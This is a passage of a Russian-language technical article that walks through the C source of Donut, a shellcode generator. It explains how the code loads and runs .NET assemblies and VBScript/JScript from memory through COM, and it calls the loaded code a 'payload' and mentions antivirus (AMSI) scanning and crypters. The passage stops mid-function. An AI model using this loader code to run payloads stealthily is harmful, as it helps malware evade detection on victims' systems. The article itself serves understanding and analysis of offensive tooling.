            DPRINT("ICLRRuntimeInfo::GetInterface");

            hr = pa->icri->lpVtbl->GetInterface(
              pa->icri,
              (REFCLSID)&inst->xCLSID_CorRuntimeHost,
              (REFIID)&inst->xIID_ICorRuntimeHost,
              (LPVOID)&pa->icrh);

            DPRINT("HRESULT: %08lx", hr);
          }
        } else pa->icri = NULL;
      } else pa->icmh = NULL;
    }
    if(FAILED(hr)) {
      DPRINT("CLRCreateInstance failed. Trying CorBindToRuntime");

      hr = inst->api.CorBindToRuntime(
        NULL,  // load whatever's available
        NULL,  // load workstation build
        &inst->xCLSID_CorRuntimeHost,
```

```
    &inst->xIID_ICorRuntimeHost,
    (LPVOID*)&pa->icrh);

  DPRINT("HRESULT: %08lx", hr);
}

if(FAILED(hr)) {
  pa->icrh = NULL;
  return FALSE;
}
DPRINT("ICorRuntimeHost::Start");

hr = pa->icrh->lpVtbl->Start(pa->icrh);

if(SUCCEEDED(hr)) {
  DPRINT("Domain is %s", mod->domain);
  ansi2unicode(inst, mod->domain, buf);
  domain = inst->api.SysAllocString(buf);

  DPRINT("ICorRuntimeHost::CreateDomain(\"%ws\")", buf);

  hr = pa->icrh->lpVtbl->CreateDomain(
    pa->icrh, domain, NULL, &pa->iu);

  inst->api.SysFreeString(domain);

  if(SUCCEEDED(hr)) {
    DPRINT("IUnknown::QueryInterface");

    hr = pa->iu->lpVtbl->QueryInterface(
      pa->iu, (REFIID)&inst->xIID_AppDomain, (LPVOID)&pa->ad);

    if(SUCCEEDED(hr)) {
      sab.lLbound   = 0;
      sab.cElements = mod->len;
      sa = inst->api.SafeArrayCreate(VT_UI1, 1, &sab);

      if(sa != NULL) {
        DPRINT("Copying %" PRIi32 " bytes of assembly to safe array", mod->len);

        for(i=0, p=sa->pvData; i<mod->len; i++) {
          p[i] = mod->data[i];
        }

        DPRINT("AppDomain::Load_3");

        hr = pa->ad->lpVtbl->Load_3(
          pa->ad, sa, &pa->as);

        loaded = hr == S_OK;
```

```
            DPRINT("HRESULT : %08lx", hr);

            DPRINT("Erasing assembly from memory");

            for(i=0, p=sa->pvData; i<mod->len; i++) {
              p[i] = mod->data[i] = 0;
            }

            DPRINT("SafeArrayDestroy");
            inst->api.SafeArrayDestroy(sa);
          }
        }
      }
    }
    return loaded;
}

BOOL RunAssembly(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY pa) {
    SAFEARRAY     *sav=NULL, *args=NULL;
    VARIANT       arg, ret, vtPsa, v1={0}, v2;
    DWORD         i;
    HRESULT       hr;
    BSTR          cls, method;
    ULONG         cnt;
    OLECHAR       str[1]={0};
    LONG          ucnt, lcnt;
    WCHAR         **argv, buf[DONUT_MAX_NAME+1];
    int           argc;

    DPRINT("Type is %s",
      mod->type == DONUT_MODULE_NET_DLL ? "DLL" : "EXE");

    // if this is a program
    if(mod->type == DONUT_MODULE_NET_EXE) {
      // get the entrypoint
      DPRINT("MethodInfo::EntryPoint");
      hr = pa->as->lpVtbl->EntryPoint(pa->as, &pa->mi);

      if(SUCCEEDED(hr)) {
        // get the parameters for entrypoint
        DPRINT("MethodInfo::GetParameters");
        hr = pa->mi->lpVtbl->GetParameters(pa->mi, &args);

        if(SUCCEEDED(hr)) {
          DPRINT("SafeArrayGetLBound");
          hr = inst->api.SafeArrayGetLBound(args, 1, &lcnt);

          DPRINT("SafeArrayGetUBound");
          hr = inst->api.SafeArrayGetUBound(args, 1, &ucnt);
          cnt = ucnt - lcnt + 1;
          DPRINT("Number of parameters for entrypoint : %i", cnt);
```

```
      // does Main require string[] args?
      if(cnt != 0) {
        // create a 1 dimensional array for Main parameters
        sav = inst->api.SafeArrayCreateVector(VT_VARIANT, 0, 1);
        // if user specified their own parameters, add to string array
        if(mod->param[0] != 0) {
          ansi2unicode(inst, mod->param, buf);
          argv = inst->api.CommandLineToArgvW(buf, &argc);
          // create 1 dimensional array for strings[] args
          vtPsa.vt     = (VT_ARRAY | VT_BSTR);
          vtPsa.parray = inst->api.SafeArrayCreateVector(VT_BSTR, 0, argc);

          // add each string parameter
          for(i=0; i<argc; i++) {
            DPRINT("Adding \"%ws\" as parameter %i", argv[i], (i + 1));
            inst->api.SafeArrayPutElement(vtPsa.parray,
                &i, inst->api.SysAllocString(argv[i]));
          }
        } else {
          DPRINT("Adding empty string for invoke_3");
          // add empty string to make it work
          // create 1 dimensional array for strings[] args
          vtPsa.vt     = (VT_ARRAY | VT_BSTR);
          vtPsa.parray = inst->api.SafeArrayCreateVector(VT_BSTR, 0, 1);

          i=0;
          inst->api.SafeArrayPutElement(vtPsa.parray,
                &i, inst->api.SysAllocString(str));
        }
        // add string array to list of parameters
        i=0;
        inst->api.SafeArrayPutElement(sav, &i, &vtPsa);
      }
      v1.vt    = VT_NULL;
      v1.plVal = NULL;

      DPRINT("MethodInfo::Invoke_3()\n");

      hr = pa->mi->lpVtbl->Invoke_3(pa->mi, v1, sav, &v2);

      DPRINT("MethodInfo::Invoke_3 : %08lx : %s",
        hr, SUCCEEDED(hr) ? "Success" : "Failed");

      if(sav != NULL) {
        inst->api.SafeArrayDestroy(vtPsa.parray);
        inst->api.SafeArrayDestroy(sav);
      }
    }
  } else pa->mi = NULL;
} else {
```

```
ansi2unicode(inst, mod->cls, buf);
cls = inst->api.SysAllocString(buf);
if(cls == NULL) return FALSE;
DPRINT("Class: SysAllocString(\"%ws\")", buf);

ansi2unicode(inst, mod->method, buf);
method = inst->api.SysAllocString(buf);
DPRINT("Method: SysAllocString(\"%ws\")", buf);

if(method != NULL) {
  DPRINT("Assembly::GetType_2");
  hr = pa->as->lpVtbl->GetType_2(pa->as, cls, &pa->type);

  if(SUCCEEDED(hr)) {
    sav = NULL;
    DPRINT("Parameters: %s", mod->param);

    if(mod->param[0] != 0) {
      ansi2unicode(inst, mod->param, buf);
      argv = inst->api.CommandLineToArgvW(buf, &argc);
      DPRINT("SafeArrayCreateVector(%li argument(s))", argc);

      sav = inst->api.SafeArrayCreateVector(VT_VARIANT, 0, argc);

      if(sav != NULL) {
        for(i=0; i<argc; i++) {
          DPRINT("Adding \"%ws\" as argument %i", argv[i], (i+1));

          V_BSTR(&arg) = inst->api.SysAllocString(argv[i]);
          V_VT(&arg)   = VT_BSTR;

          hr = inst->api.SafeArrayPutElement(sav, &i, &arg);

          if(FAILED(hr)) {
            DPRINT("SafeArrayPutElement failed.");
            inst->api.SafeArrayDestroy(sav);
            sav = NULL;
          }
        }
      }
    }
    if(SUCCEEDED(hr)) {
      DPRINT("Calling Type::InvokeMember_3");

      hr = pa->type->lpVtbl->InvokeMember_3(
          pa->type,
          method,   // name of method
          BindingFlags_InvokeMethod |
          BindingFlags_Static       |
          BindingFlags_Public,
          NULL,
```

```
                v1,       // empty VARIANT
                sav,      // arguments to method
                &ret);    // return code from method

            DPRINT("Type::InvokeMember_3 : %08lx : %s",
              hr, SUCCEEDED(hr) ? "Success" : "Failed");

            if(sav != NULL) {
              inst->api.SafeArrayDestroy(sav);
            }
          }
        }
        inst->api.SysFreeString(method);
      }
      inst->api.SysFreeString(cls);
    }
    return TRUE;
}

VOID FreeAssembly(PDONUT_INSTANCE inst, PDONUT_ASSEMBLY pa) {

    if(pa->type != NULL) {
      DPRINT("Type::Release");
      pa->type->lpVtbl->Release(pa->type);
      pa->type = NULL;
    }

    if(pa->mi != NULL) {
      DPRINT("MethodInfo::Release");
      pa->mi->lpVtbl->Release(pa->mi);
      pa->mi = NULL;
    }

    if(pa->as != NULL) {
      DPRINT("Assembly::Release");
      pa->as->lpVtbl->Release(pa->as);
      pa->as = NULL;
    }

    if(pa->ad != NULL) {
      DPRINT("AppDomain::Release");
      pa->ad->lpVtbl->Release(pa->ad);
      pa->ad = NULL;
    }

    if(pa->iu != NULL) {
      DPRINT("IUnknown::Release");
      pa->iu->lpVtbl->Release(pa->iu);
      pa->iu = NULL;
    }
```

```
    if(pa->icrh != NULL) {
      DPRINT("ICorRuntimeHost::Stop");
      pa->icrh->lpVtbl->Stop(pa->icrh);

      DPRINT("ICorRuntimeHost::Release");
      pa->icrh->lpVtbl->Release(pa->icrh);
      pa->icrh = NULL;
    }

    if(pa->icri != NULL) {
      DPRINT("ICLRRuntimeInfo::Release");
      pa->icri->lpVtbl->Release(pa->icri);
      pa->icri = NULL;
    }

    if(pa->icmh != NULL) {
      DPRINT("ICLRMetaHost::Release");
      pa->icmh->lpVtbl->Release(pa->icmh);
      pa->icmh = NULL;
    }
}
```

Функция LoadAssembly отвечает за корректную загрузку исполняемого .NET файла в виртуальную память процесса, а функция RunAssembly – за его запуск. В первой из них сперва происходит загрузка дотнет фреймворка с помощью функции CLRCreateInstance из нативной библиотеки фреймворка под именем mscoree.dll. В эту функцию передается два уникальных идентификатора, первый — идентификатор доступного через COM класса CLRMetaHost, второй — интерфейса ICLRMetaHost, который реализует класс с первым идентификатором. Далее обратите внимания, каким образом в православном Це будет происходить вызов методов интерфейса ICLRMetaHost, а именно по указателю на объект COM-класса код получает указатель на vtable и вызывает нужный метод из соответствующего указателя в vtable. Ну и нужно не забыть передать указатель this первым параметром. Да, это — своего рода выкручивание яиц самому себе, если бы Пончик был написан на Плюсах, компилятор бы с удовольствием проделал за вас эту громоздкую конструкцию. Но ради Цэ мы должны быть готовы к любым страданиям. Итак, код вызывает метод GetRuntime интерфейса ICLRMetaHost, запрашивая интерфейс ICLRRuntimeInfo у определенного рантайма, версия которого передается в параметры вызова метода. Далее происходит проверка того, можно ли указанный рантайм загрузить с помощью метода IsLoadable, и если это оказывается возможным, происходит инициализация класса CorRuntimeHost и получение его интерфейса ICorRuntimeHost (само собой по их уникальным идентификаторам, это же COM в конце концов). Затем код проверяет,

получилось ли проделать все эти действия, и если нет, то пытается провести инициализацию CorRuntimeHost с помощью экспортируемой из mscoree.dll функции CorBindToRuntime.

Наверное, в этот момент у вас возник вопрос, а почему же есть две разные функции, которые делают по сути одно и тоже, так? Нет, не возник? Ну я все равно расскажу. В десктопном дотнете есть две разные версии рантайма: старый — версии 2.0 и типа как новый — версии 4.0 (ну хорошо, он был новым до всяких дотнет коров и дотнетов 5.0 и 6.0). На рантайме версии 2.0 работают дотнет фреймворки 2.0, 3.0 и 3.5. На рантайме 4.0 работают все фреймворки, начиная с версии 4.0 (включительно) до версии 5.0 (не включительно, 5.0 работает уже на более модном и молодежном рантайме). Так вот, функция CLRCreateInstance — это новая функция, которая появилась в рантайме 4.0. С ее помощью по идее можно инициализировать любую версию фреймворка. Однако если в системе рантайм 4.0 не установлен, она должна зафейлить, и поэтому можно попробовать запустить полезную нагрузку на рантайме 2.0, мало ли, может повезет и это заработает. Да, в наши дни найти вендовую систему без установленного дотнет рантайма 4.0 — это очень сложная задача, но хочу вам напомнить, что Виндовс 7 шла с предустановленным рантаймом версии 2.0, так что чем чёрт не шутит.

Получив проинициализированный класс CorRuntimeHost, код пытается его запустить с помощью метода Start. Далее происходит создание нового AppDomain с помощью метода CreateDomain для последующей загрузки в него Assembly из памяти. Наличие нового (а не дефолтного) AppDomain может пригодится, так как в дотнете нельзя в случае чего выгрузить Assembly из виртуальной памяти, можно лишь выгрузить AppDomain целиком, а дефолтный AppDomain выгрузить невозможно, так как его классы использует сам рантайм и получается свое рода «замкнутый круг». В результате вызова CreateDomain нам вернулся указатель на его интерфейс IUnknown, поэтому нам нужно через интерфейс IUnknown и метод QueryInterface запросить интерфейс непосредственно AppDomain'а (само собой по его уникальному индентификатору). Получив в доступ интерфейс AppDomain, теперь код может вызвать у интерфейса метод Load_3 и передать туда полезную нагрузку. Но для передачи байтового массива нельзя просто передать указатель на его начало, COM требует от нас, чтобы мы создали SafeArray и передали данные в таком виде. Для этого используются WinAPI-функции SafeArrayCreate и SafeArrayDestroy. В случае успешной загрузки полезной нагрузки в виртуальную память процесса метод Load_3 возвращает указатель на интерфейс Assembly, с которым будет происходить дальнейшая работа в функции RunAssembly нашего Пончика.

Наверное, стоит еще рассказать, почему метод для загрузки Assembly из байтового массива называется именно Load_3, а не просто Load, как, собственно, это происходит в Шарпах. Дело в том, что в Шарпах и Плюсах есть такая занимательная фича, как «перегрузка методов». Суть в том, что методы могут иметь одинаковые имена, если

имеют разный набор параметров. К сожалению (или к счастью), этой фичи лишены Сишечка, VBScript, JScript и некоторые другие языки. Но как-то взаимодействие между языками COM'у налаживать надо было. И они (мелкомягкие) придумали следующее соглашение, методы с одинаковыми именами в Шарпах при использовании в COM-интеропе просто будут иметь разные имена, и каждый следующий из них будет снабжаться постфиксом «_N», где N — порядковый номер текущего метода среди всех имеющих одинаковое имя методов. Вроде логично. И вот так исторически сложилось, что нужная нам перегрузка метода Load, принимающая на вход байтовый массив, оказалось с тройкой в постфиксе.

В функции RunAssembly у нас есть два возможных варианта: первый – если полезная нагрузка является исполняемым файлом (экзешником), второй – если полезная нагрузка является динамической библиотекой (дллечкой). На самом деле для дотнетовских Assembly нет существенной разницы, оформлена ли сборка в экзешник или в дллечку, в обоих случаях их можно загрузить в память и через Reflection вызвать любой метод любого класса (в том числе и приватный). Существенной, наверное, можно назвать только разницу в наличии точки входа (публичного статического метода Main). Все остальные действия, которые выполняет Пончик для запуска Assembly, это – использование методов дотнетовского Reflection. То есть ровно тоже самое вы делали бы и в Шарпах для достижения ровно таких же целей.

Для экзешника код вызывает метод EntryPoint полученного Assembly. Этот метод возвращает информацию о точке входа Assembly в виде объекта типа MethodInfo. Затем происходит вызов метода GetParameters у этого объекта, это – массив аргументов точки входа. Само собой COM вернет нам этот массив в виде SafeArray (обычные Цэшные массивы же такие «UnsafeArray»). Затем код забирает у полученного SafeArray'а первый (LBound) и последний (UBound) индекс (у SafeArray индексация элементов может не начинаться с нуля). Исходя из первого и последнего индекса код получает количество аргументов точки входа, тем самым определяя, хочет ли полезная нагрузка получить аргументы командной строки или нет. Если полезная нагрузка желает их получить, то код формирует новый SafeArray с аргументами, если нет, то он остается null. Ну и затем происходит вызов точки входа с помощью метода Invoke_3.

Для дллечки в параметрах шелл-кода указывается, какой метод какого класса нужно вызвать в качестве точки входа полезной нагрузки. Обратите внимание, что придираст COM требует от нас, чтобы даже для строк мы использовали специальные контейнеры BSTR, которые выделяются с помощью SysAllocString, а освобождаются с помощью SysFreeString. Далее код находит нужный класс по его имени с помощью метода GetType_2 и конвертирует аргументы для вызова этого метода из параметров шеллкода в приятные COM'у SafeArray'и. Вызов непосредственно метода класса полезной нагрузки происходит с помощью метода Invoke_3. При этом, стоит отметить,

что вызывается статический публичный метод, но в принципе ничего не мешает нам модифицировать код таким образом, чтобы он создавал инстанс класса (с помощью метода CreateInstance класса Assembly) и вызывал нестатический метод на этом инстансе.

Ну вроде с дотнетовской частью все. Напоследок, несколько дополнительных замечаний. Не забывайте освобождать все созданные COM-объекты после того, как они станут вам не нужны, а именно, вызывайте метод Release. Все-таки Цэ и Плюсы – это вам не Шарпы и Петоны, сборщик мусора за вами тут прибираться не будет. Код, который мы только что рассмотрели, так же можно увидеть в нативных крипторах для дотнет исполняемых файлов. Интересно, что некоторые люди, которые продают такие крипторы, не в курсе, что с дотнет фреймворка версии 4.8 все прямые и косвенные вызовы Assembly.Load приводят к отправке полезной нагрузки на проверку антивирусу через технологию AMSI. И это достаточно забавно. Авторы крипторов там наворачивают каких-то хитровыебанных обфускаторов для запутывания нативного кода, а полезная нагрузка, защищенная этим криптором, в чистом и открытом виде все равно отправляется на проверку антивирусу. Автор Пончика прекрасно это понимал, но мы поговорим об этом чуть позже.

6. Запуск JScript/VBScript из памяти

Давайте вспомним, что в самой Венде интерпретаторы JScript и VBScript присутствуют много где. В виде отдельных скриптов, запускаемых с помощью утилит wscript.exe и cscript.exe, внутри HTA-файлов, запускаемых утилитой mshta.exe, в виде COM-объектов, которые scrobj.dll инициализирует из SCT-файлов и так далее. Логично предположить, что оба интерпретатора реализованы в виде динамических библиотек и через некоторые интерфейсы интегрируются со всеми этими разными утилитами. Не станут же мелкомягкие дублировать один и тот же код в нескольких отдельных утилитах. И на самом деле все так и есть, такая универсальная технология запуска скриптов называется «ActiveScripting», и основана она само собой на нашей горячо-любимой технологии COM. Помимо предустановленных на операционной системе языков VBScript и JScript, есть еще несколько интерпретаторов, которые реализуют технологию ActiveScripting и могут аналогично с VBScript'ом, например, на таком же уровне интегрироваться в операционную систему (я говорю об ActivePerl, ActivePython, ActiveTcl и других).

В терминологии ActiveScripting приложение, которое желает запустить внутри себя один из скриптовых языков, называется «хостом» (host), а одна или несколько библиотек, реализующих интерпретацию скриптового языка, называется «движком» (engine). В контексте этой статьи нас не особо интересует внутреннее устройство какого-то из движков, а вот то, как работает хост мы будем рассматривать подробнее. Для того, чтобы загрузить и использовать какой-либо скриптовый движок, хост

должен реализовывать как минимум два COM-интерфейса: IActiveScriptSite и IActiveScriptSiteWindow. Суммарно эти интерфейсы сравнительно большие, но многие их функций по сути не требуется реализовывать, если нам просто нужно запустить из памяти какой-то скрипт, и нас не волнует детальная обработка ошибок его выполнения, расширение интерпретатора новыми объектами и так далее. Можно обойтись заглушками. Давайте рассмотрим, как автор Пончика реализовывает эти два интерфейса.
C:

```
// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    // Initialize IUnknown
    mas->site.lpVtbl->QueryInterface      = ADR(LPVOID, ActiveScript_QueryInterface);
    mas->site.lpVtbl->AddRef              = ADR(LPVOID, ActiveScript_AddRef);
    mas->site.lpVtbl->Release             = ADR(LPVOID, ActiveScript_Release);

    // Initialize IActiveScriptSite
    mas->site.lpVtbl->GetLCID             = ADR(LPVOID, ActiveScript_GetLCID);
    mas->site.lpVtbl->GetItemInfo         = ADR(LPVOID, ActiveScript_GetItemInfo);
    mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
    mas->site.lpVtbl->OnScriptTerminate   = ADR(LPVOID, ActiveScript_OnScriptTerminate);
    mas->site.lpVtbl->OnStateChange       = ADR(LPVOID, ActiveScript_OnStateChange);
    mas->site.lpVtbl->OnScriptError       = ADR(LPVOID, ActiveScript_OnScriptError);
    mas->site.lpVtbl->OnEnterScript       = ADR(LPVOID, ActiveScript_OnEnterScript);
    mas->site.lpVtbl->OnLeaveScript       = ADR(LPVOID, ActiveScript_OnLeaveScript);

    mas->site.m_cRef                      = 0;
    mas->inst                             = inst;
}

#ifdef DEBUG
// try resolve interface name for IID
PWCHAR iid2interface(PWCHAR riid) {
    LSTATUS s;
    HKEY    hk;
    WCHAR   subkey[128];
    static  WCHAR name[128];
    DWORD   len = ARRAYSIZE(name);

    // check under HKEY_CLASSES_ROOT\Interface\ for name

    swprintf(subkey, ARRAYSIZE(subkey), L"Interface\\%s", riid) ;

    s = SHGetValueW(
      HKEY_CLASSES_ROOT,
      subkey,
      NULL,
      0,
      name,
      &len);

    if(s != ERROR_SUCCESS) return L"Not found";

    return name;
}
#endif

static STDMETHODIMP ActiveScript_QueryInterface(IActiveScriptSite *this, REFIID riid, void
```

```
**ppv) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    #ifdef DEBUG
      OLECHAR  *iid;
      HRESULT  hr;

      hr = StringFromIID(riid, &iid);
      if(hr == S_OK) {
        DPRINT("IActiveScriptSite::QueryInterface(%ws (%ws))", iid, iid2interface(iid));
        CoTaskMemFree(iid);
      } else {
        DPRINT("StringFromIID failed");
      }
    #endif

    if(ppv == NULL) return E_POINTER;

    // we implement the following interfaces
    if(IsEqualIID(&mas->inst->xIID_IUnknown,               riid) ||
       IsEqualIID(&mas->inst->xIID_IActiveScriptSite,      riid))
    {
      DPRINT("Returning interface to IActiveScriptSite");
      *ppv = (LPVOID)this;
      ActiveScript_AddRef(this);
      return S_OK;
    } else if(IsEqualIID(&mas->inst->xIID_IActiveScriptSiteWindow, riid)) {
      DPRINT("Returning interface to IActiveScriptSiteWindow");
      *ppv = (LPVOID)&mas->siteWnd;
      ActiveScriptSiteWindow_AddRef(&mas->siteWnd);
      return S_OK;
    }
    DPRINT("Returning E_NOINTERFACE");
    *ppv = NULL;
    return E_NOINTERFACE;
}

static STDMETHODIMP_(ULONG) ActiveScript_AddRef(IActiveScriptSite *this) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    _InterlockedIncrement(&mas->site.m_cRef);

    DPRINT("IActiveScriptSite::AddRef : m_cRef : %i\n", mas->site.m_cRef);

    return mas->site.m_cRef;
}

static STDMETHODIMP_(ULONG) ActiveScript_Release(IActiveScriptSite *this) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    ULONG ulRefCount = _InterlockedDecrement(&mas->site.m_cRef);
```

```
    DPRINT("IActiveScriptSite::Release : m_cRef : %i\n", ulRefCount);
    return ulRefCount;
}

static STDMETHODIMP ActiveScript_GetItemInfo(IActiveScriptSite *this,
  LPCOLESTR objectName, DWORD dwReturnMask,
  IUnknown **objPtr, ITypeInfo **ppti)
{
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    DPRINT("IActiveScriptSite::GetItemInfo(objectName=%p, dwReturnMask=%08lx)",
       objectName, dwReturnMask);

    if(dwReturnMask & SCRIPTINFO_ITYPEINFO) {
        DPRINT("Caller is requesting SCRIPTINFO_ITYPEINFO.");
        if(ppti == NULL) return E_POINTER;

        mas->wscript.lpTypeInfo->lpVtbl->AddRef(mas->wscript.lpTypeInfo);
        *ppti = mas->wscript.lpTypeInfo;
    }

    if(dwReturnMask & SCRIPTINFO_IUNKNOWN) {
      DPRINT("Caller is requesting SCRIPTINFO_IUNKNOWN.");
      if(objPtr == NULL) return E_POINTER;

      mas->wscript.lpVtbl->AddRef(&mas->wscript);
      *objPtr = (IUnknown*)&mas->wscript;
    }

    return S_OK;
}

static STDMETHODIMP ActiveScript_OnScriptError(IActiveScriptSite *this,
  IActiveScriptError *scriptError)
{
    DPRINT("IActiveScriptSite::OnScriptError");

    EXCEPINFO ei;
    DWORD     dwSourceContext = 0;
    ULONG     ulLineNumber    = 0;
    LONG      ichCharPosition = 0;
    HRESULT   hr;

    Memset(&ei, 0, sizeof(EXCEPINFO));

    DPRINT("IActiveScriptError::GetExceptionInfo");
    hr = scriptError->lpVtbl->GetExceptionInfo(scriptError, &ei);
    if(hr == S_OK) {
      DPRINT("IActiveScriptError::GetSourcePosition");
      hr = scriptError->lpVtbl->GetSourcePosition(
```

```
        scriptError, &dwSourceContext,
        &ulLineNumber, &ichCharPosition);
      if(hr == S_OK) {
        DPRINT("JSError: %ws line[%d:%d]\n",
          ei.bstrDescription, ulLineNumber, ichCharPosition);
      }
    }
    return S_OK;
}

static STDMETHODIMP ActiveScript_GetLCID(IActiveScriptSite *this, LCID *plcid) {
    DPRINT("IActiveScriptSite::GetLCID");
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;

    *plcid = mas->inst->api.GetUserDefaultLCID();
    return S_OK;
}

static STDMETHODIMP ActiveScript_GetDocVersionString(IActiveScriptSite *this, BSTR *version)
{
    DPRINT("IActiveScriptSite::GetDocVersionString");

    return S_OK;
}

static STDMETHODIMP ActiveScript_OnScriptTerminate(IActiveScriptSite *this,
  const VARIANT *pvr, const EXCEPINFO *pei)
{
    DPRINT("IActiveScriptSite::OnScriptTerminate");

    return S_OK;
}

static STDMETHODIMP ActiveScript_OnStateChange(IActiveScriptSite *this, SCRIPTSTATE state) {
    DPRINT("IActiveScriptSite::OnStateChange");

    return S_OK;
}

static STDMETHODIMP ActiveScript_OnEnterScript(IActiveScriptSite *this) {
    DPRINT("IActiveScriptSite::OnEnterScript");

    return S_OK;
}

static STDMETHODIMP ActiveScript_OnLeaveScript(IActiveScriptSite *this) {
    DPRINT("IActiveScriptSite::OnLeaveScript");

    return S_OK;
}
```

```
// ################################################ IActiveScriptSiteWindow
################################################

// initialize virtual function table for this interface
static VOID ActiveScriptSiteWindow_New(PDONUT_INSTANCE inst, IActiveScriptSiteWindow *this) {
    // Initialize IUnknown
    this->lpVtbl->QueryInterface      = ADR(LPVOID, ActiveScriptSiteWindow_QueryInterface);
    this->lpVtbl->AddRef              = ADR(LPVOID, ActiveScriptSiteWindow_AddRef);
    this->lpVtbl->Release             = ADR(LPVOID, ActiveScriptSiteWindow_Release);

    // Initialize IActiveScriptSiteWindow
    this->lpVtbl->GetWindow           = ADR(LPVOID, ActiveScriptSiteWindow_GetWindow);
    this->lpVtbl->EnableModeless      = ADR(LPVOID, ActiveScriptSiteWindow_EnableModeless);

    this->m_cRef                      = 0;
    this->inst                        = inst;
}

static STDMETHODIMP ActiveScriptSiteWindow_QueryInterface(IActiveScriptSiteWindow *this,
REFIID riid, void **ppv) {
    OLECHAR  *iid;
    HRESULT  hr;

    DPRINT("ActiveScriptSiteWindow::QueryInterface");

    if(ppv == NULL) return E_POINTER;

    // we implement the following interfaces
    if(IsEqualIID(&this->inst->xIID_IUnknown,                riid) ||
       IsEqualIID(&this->inst->xIID_IActiveScriptSiteWindow, riid))
    {
      DPRINT("Returning this interface");
      *ppv = (LPVOID)this;
      ActiveScriptSiteWindow_AddRef(this);
      return S_OK;
    }
    DPRINT("Interface not supported");
    *ppv = NULL;
    return E_NOINTERFACE;
}

static STDMETHODIMP_(ULONG) ActiveScriptSiteWindow_AddRef(IActiveScriptSiteWindow *this) {
    _InterlockedIncrement(&this->m_cRef);

    DPRINT("ActiveScriptSiteWindow::AddRef(%i)", this->m_cRef);

    return this->m_cRef;
}

static STDMETHODIMP_(ULONG) ActiveScriptSiteWindow_Release(IActiveScriptSiteWindow *this) {
```

```
    ULONG ulRefCount = _InterlockedDecrement(&this->m_cRef);

    DPRINT("ActiveScriptSiteWindow::Release(%i)", ulRefCount);

    return ulRefCount;
}

static STDMETHODIMP ActiveScriptSiteWindow_GetWindow(IActiveScriptSiteWindow *iface, HWND
*phwnd) {
    DPRINT("ActiveScriptSiteWindow::GetWindow(phwnd=%p)", phwnd);
    return E_NOTIMPL;
}

static STDMETHODIMP ActiveScriptSiteWindow_EnableModeless(IActiveScriptSiteWindow *iface,
BOOL fEnable) {
    DPRINT("ActiveScriptSiteWindow::EnableModeless(fEnable=%ws)", fEnable ? L"FALSE" :
L"TRUE");
    return E_NOTIMPL;
}
```

Функция ActiveScript_New инициализирует Цэшную структуру для объекта, реализующего интерфейс IActiveScriptSite (да, и все методы этого интерфейса автор пончика почему-то называет ActiveScript_*, а не ActiveScriptSite_*, не знаю почему, но имейте ввиду, что речь идет о реализации интерфейса IActiveScriptSite). В этой функции происходит заполнение vtable реализованными функциями. Обратите внимание, что первые три из них реализуют интерфейс IUnknown, дело в том, что интерфейс IActiveScriptSite наследуется от интерфейса IUnkown (как завещал нам стандарт COM), поэтому их нужно реализовать. Для увеличения и уменьшения ссылок на объект используется InterlockedIncrement и InterlockedDecrement соответственно. В методе QueryInterface происходит проверка того, какой именно интерфейс запрашивается у текущего COM-класса. В том случае, если запрашивается IUknown или IActiveScriptSite, то возвращается указатель на текущую структуру, а если запрашивается IActiveScriptSiteWindow, то возвращается указатель на его отдельный vtable. Почему же так должно происходить? В теории IActiveScriptSite и IActiveScriptSiteWindow — это два независимых интерфейса (независимых в том плане, что один не является наследником другого), которые могут быть реализованы двумя разными классами. В том случае, если один класс реализует два независимых интерфейса, то он должен вернуть указатель на соответствующий интерфейс, когда его об этом просят. Опять же в Плюсах за нас заботливо это сделал бы компилятор (мы бы в коде писали static_cast к интерфейсу и все бы работало), но в Цэ нам приходится делать это руками.

Метод ActiveScript_GetItemInfo возвращает вызывающему информацию об объектах расширения скриптового интерпретатора, которые реализует хост своим кодом. Что это значит? Для примера рассмотрим объект WScript, который существует, когда вы выполняете VBScript/JScript скрипты с помощью утилит wscript.exe и cscript.exe (и не существует в том же mshta.exe или в sct-файлах). В этом случае внутри хоста (wscript.exe или cscript.exe) создан отдельный COM-класс, который реализует интерфейсы IUnknown, IDispatch и так далее. Хост в своей реализации GetItemInfo, проверяет имя запрашиваемого объекта (в данном случае «WScript») и возвращает указатель на его интерфейсы, а именно на интерфейс IUnkown, с которого потом будет запрошен интерфейс IDispatch для вызова методов этого объекта интерпретатором, или же интерфейс ITypeInfo, с помощью которого интерпретатор может получать информацию о типе запрошенного объекта. В принципе наличие интерфейса ITypeInfo не обязательно необходимо, и на практике все вполне себе нормально работает через IDispatch, но в некоторых случаях реализация ITypeInfo пригождается. Автор Пончика решил, что он будет предоставлять скриптам свой собственный объект WScript без блекджека и без шлюх (где большинство методов являются заглушками). Наверное, это было необходимо для того, чтобы скрипты не сыпали ошибками, когда хотели выполнить какой-то метод типа «WScript.Echo». Реализацию этого можно найти в файле wscript.c.

Метод ActiveScript_OnScriptError вызывается в том случае, когда при интерпретации скрипта происходит ошибка, она может быть вызвана, как и неверным синтаксисом (тогда это будет ошибкой парсинга), так и проблемами с непосредственным выполнения кода скрипта. Более детальное описание ошибки можно получить с помощью передаваемого в аргументах указателя на интерфейс IActiveScriptError, для этого автор Пончика получает структуру EXCEPINFO, содержащую описание ошибок, с помощью метода GetExceptionInfo, а также номер строки и колонки с ошибкой с помощью метода GetSourcePosition. Метод ActiveScript_GetLCID должен вернуть текущий LCID (идентификатор локали), который будет использоваться интерпретатором, в том числе и для вывода описания ошибок. Остальные методы по сути являются заглушками, их применение важно для других хостов, но в конкретном случае нашего Пончика, мы в них не нуждаемся. Теперь давайте посмотрим, как все вышеописанное интегрируется вместе.
C:

```
VOID RunScript(PDONUT_INSTANCE inst, PDONUT_MODULE mod) {
    HRESULT                     hr;
    IActiveScriptParse          *parser;
    IActiveScript               *engine;
    MyIActiveScriptSite         mas;
    IActiveScriptSiteVtbl       activescript_vtbl;
    IActiveScriptSiteWindowVtbl siteWnd_vtbl;
    IHostVtbl                   wscript_vtbl;
    PWCHAR                      script;
    ULONG64                     len;
